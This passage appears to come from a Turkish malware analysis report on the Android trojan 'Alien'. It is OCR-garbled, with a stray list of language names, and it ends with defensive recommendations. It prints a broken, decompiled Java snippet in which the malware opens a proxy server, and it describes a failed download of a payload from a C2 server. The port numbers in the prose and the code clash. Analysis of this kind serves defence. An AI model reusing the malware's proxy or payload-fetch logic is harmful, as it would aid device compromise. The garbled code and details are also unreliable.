ingilizce Almanca Afrikaanca | Cince Cekce Holandaca Fransicza
Italyanca Japonca Korece Lehce ispanyolca | Arapga Bulgarca
Katalanca Hirvatga Danca Fince Yunanca ibranice Hintce
Macarca Letonca Litvanca Norvegge Portekizce | Rumence Sirpga
Slovakga Slovence Tayca Tirkce Vietnamca

y



Alien, 45555 portunda calisan bir proxy server baslatmaktadir.

B
i

ServerSocket serverSocket = new ServerSocket (25555)
B bEVar = wuaynkhukd.this.f304a;
String a2 = "ProxyServer"):
bVvar.a{a2, "Port=") 4+ serverSocket.getLocalPort()):
while (true) f{

Socket accept = serverSocket.accept():

if (Thread.currentThread() .isInterrupted()) {
serverSocket.close () !
accept.close();
return;

Alien, C2 sunucusundan “patch.ring0.run” adl payload’i indirmektedir. Fakat C2 sunucusu
kapandigindan dolayi islem basarisiz olmaktadir.

getAbsolutePath null, bvar.getClass e ssLoader loadClass




pe
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Cozium Onerileri

-Uygulamalara gereksiz izinler verilmemelidir.

- Google Play Protect gibi kot amach yazilimdan koruma yazilimi glincel ve ¢alisir durumda
olmahdir.

- isletim sistemi giincel tutulmalidir.

- Kaynagi belirsiz olan uygulamalar indiriimemeli ve yliklenmemelidir.

- E-posta ekleri agilirken dikkatli olunmalidir.

- Sipheli E-posta ekleri uzmanlar tarafindan incelenmeli veya kaldiriimahdir.
- Erisilebilirlik izni isteyen uygulamalar dikkatle incelenmelidir.

- Resmi uygulama marketlerinin disindan uygulama kurulmamalidir.

- 3. Parti uygulama yikleme ayari devre disi birakilmalidir.

- Cok faktorli kimlik dogrulamasi kullaniimalidir.
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